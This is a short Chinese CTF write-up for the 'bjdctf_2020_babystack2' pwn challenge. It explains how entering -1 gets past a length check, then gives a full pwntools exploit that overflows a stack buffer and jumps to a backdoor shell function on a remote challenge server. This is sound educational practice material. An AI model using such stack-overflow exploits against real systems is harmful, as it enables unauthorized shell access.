bjdctf_2020_babystack2
使用checksec
查看:
只开启了栈不可执行。
先放进IDA中分析:
__isoc99_scanf("%d", &nbytes);
:用户输入第二次输入的长度。read(0, &buf, (unsigned int)nbytes);
:向变量buf
内读取用户第一次输入长度大小的数据。
存在backdoor()
:
- 直接getshell,调用即可。
题目思路
- 用
-1
绕过长度限制。 - 覆盖返回地址为
backdoor()
的地址。
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",27324)
# r = process("../buu/bjdctf_2020_babystack2")
elf = ELF("../buu/bjdctf_2020_babystack2")
#params
backdoor_addr = elf.symbols['backdoor']
#attack
r.recv()
r.sendline(b"-1")
r.recv()
payload = b'M'*(0x10+8) + p64(backdoor_addr)
r.sendline(payload)
r.interactive()